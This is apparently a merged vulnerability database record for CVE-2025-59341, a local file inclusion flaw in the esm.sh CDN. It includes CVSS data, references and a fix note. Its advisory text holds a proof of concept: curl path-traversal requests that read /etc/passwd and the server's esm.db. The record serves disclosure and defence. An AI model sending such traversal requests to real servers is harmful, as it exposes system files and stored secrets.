{"id":"CVE-2025-59341","aliases":["CVE-2025-59341","GHSA-49pv-gwxp-532r","GO-2025-3962"],"related":[],"kind":"vulnerability","state":"published","title":"Local File Inclusion in esm.sh","summary":"esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).","summarySource":"cvelist","descriptions":[{"lang":"en","text":"esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n  \"port\": 9999,\n  \"npmRegistry\": \"https://registry.npmjs.org/\",\n  \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'\n\n# or read the database esm.db file\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'\n```\n\n<img width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" />\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)","format":"markdown","source":"ghsa"},{"lang":"en","text":"esm.sh has File Inclusion issue in github.com/esm-dev/esm.sh","format":"markdown","source":"go"},{"lang":"es","text":"esm.sh es una red de entrega de contenido (CDN) sin compilación para el desarrollo web moderno. En la versión 136 y anteriores, se identificó un problema de Inclusión Local de Ficheros (LFI) en el manejo de URL del servicio esm.sh. Un atacante podría elaborar una solicitud que cause que el servidor lea y devuelva ficheros del sistema de ficheros del host (u otras fuentes de ficheros no intencionadas).","source":"nvd"}],"published":"2025-09-17T17:55:25.827Z","modified":"2026-09-10T03:50:28.013Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"}],"cwes":["CWE-23"],"affected":[{"ranges":[{"version":"<= 136","status":"affected"}],"vendor":"esm-dev","product":"esm.sh","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"136"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"go"}],"references":[{"url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r","tags":["advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59341","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/esm-dev/esm.sh","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3962","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-09-17T18:07:46.500Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-59341","url":"https://www.cve.org/CVERecord?id=CVE-2025-59341","licence":"CVE Terms of Use","modified":"2025-09-17T18:09:50.796Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-49pv-gwxp-532r","url":"https://github.com/advisories/GHSA-49pv-gwxp-532r","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:28.013Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3962","url":"https://pkg.go.dev/vuln/GO-2025-3962","licence":"CC-BY-4.0","modified":"2026-03-03T04:56:56.488Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-59341","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59341","licence":"Public domain","modified":"2026-06-17T09:45:56.280Z"}],"updatedAt":"2026-11-25T22:59:04.794Z","epss":{"score":0.01638,"percentile":0.77063,"date":"2026-12-01T12:00:22.000Z"}}